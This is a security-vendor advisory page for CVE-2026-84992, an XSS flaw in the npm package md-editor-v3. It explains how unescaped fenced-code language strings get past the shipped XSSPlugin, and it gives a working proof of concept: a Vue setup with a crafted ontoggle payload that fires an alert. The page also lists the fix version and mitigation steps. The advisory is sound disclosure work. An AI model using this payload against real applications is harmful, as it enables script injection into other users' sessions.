Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
📦
📦 npm
Not in CISA KEV
MEDIUM severity

CVE-2026-84992 md-editor-v3

MEDIUMFix: imzbf/md-editor-v3@2c07360

CVE-2026-84992 is a medium-severity (CVSS 6.1) Cross-site Scripting (XSS) vulnerability in md-editor-v3. A fix is available for md-editor-v3 — see the affected versions and patch details below.

md-editor-v3: XSS via fenced-code language rendering bypass

Published
Sep 18, 2026
Updated
Sep 18, 2026
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed
Exploitation data as of Sep 18, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

  • CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.

Exploitation and automatability from CISA’s SSVC triage for CVE-2026-84992.

Real-World Exposure

1 pkg affected

How broadly this vulnerability is actually deployed: weekly install volume shows current usage, and reverse-dependency count shows how many other packages break if it stays unpatched.

68other npm packages depend on this — each one inherits the vulnerability until it's patched upstream
md-editor-v3npm
40Kdownloads / week

Description

Summary

MdPreview interpolates a fenced-code language into HTML attributes without escaping it. A crafted info string therefore executes JavaScript even when the shipped XSSPlugin is enabled.

Details

useMarkdownIt() (packages/MdEditor/layouts/Content/composition/useMarkdownIt.ts:206) registers a highlight callback whose final return inserts language into both class="language-${language}" and an unquoted language=${language} attribute without escaping. Both highlighting paths reach this return. XSSPlugin() filters only existing html_block and html_inline tokens before rendering, so it cannot inspect this renderer-generated HTML.

PoC

The Vue application enables the shipped XSSPlugin and renders attacker-controlled Markdown. noHighlight: true only makes reproduction deterministic; the default highlighting path reaches the same unsafe return. Use this as src/main.js:

import { createApp, h } from 'vue';
import { MdPreview, XSSPlugin, config } from 'md-editor-v3';

config({ markdownItPlugins: p => [...p, { type: 'xss', plugin: XSSPlugin, options: {} }] });
const markdown = '```x"><details/open/ontoggle=alert(document.domain)>\nSAFE\n```';
createApp({ render: () => h(MdPreview,
  { editorId: 'poc', modelValue: markdown, noHighlight: true })
}).mount('#app');

Create and run the app, replacing src/main.js when indicated:

npm create vite@latest poc -- --template vue
cd poc
npm install
npm install [email protected]
# Replace src/main.js with the code above.
npm run dev

Opening the displayed URL automatically shows the application hostname in an alert.

Impact

An attacker who can supply Markdown can execute JavaScript in the application origin when a victim renders it. If the host stores that Markdown, this becomes stored XSS.

Suggested fix

Escape language with md.utils.escapeHtml before interpolation and quote the language attribute. Add this payload and the raw control as regression tests with XSSPlugin enabled.

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
📦npmmd-editor-v3all versions6.5.4npm install md-editor-v3@6.5.4

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for md-editor-v3, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    Update md-editor-v3 to 6.5.4 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-84992 is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like CVE-2026-84992 can be triaged on real exposure rather than presence alone.

Tailored to CVE-2026-84992. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

### Summary `MdPreview` interpolates a fenced-code language into HTML attributes without escaping it. A crafted info string therefore executes JavaScript even when the shipped `XSSPlugin` is enabled. ### Details `useMarkdownIt()` (`packages/MdEditor/layouts/Content/composition/useMarkdownIt.ts:206`) registers a `highlight` callback whose final return inserts `language` into both `class="language-${language}"` and an unquoted `language=${language}` attribute without escaping. Both highlighting paths reach this return. `XSSPlugin()` filters only existing `html_block` and `html_inline` tokens be
O3 Security · Impact-Aware SCA

Is CVE-2026-84992 in your dependencies?

O3 Security finds CVE-2026-84992 across npm dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.

CVE-2026-84992: md-editor-v3 (Medium 6.1) | O3 Security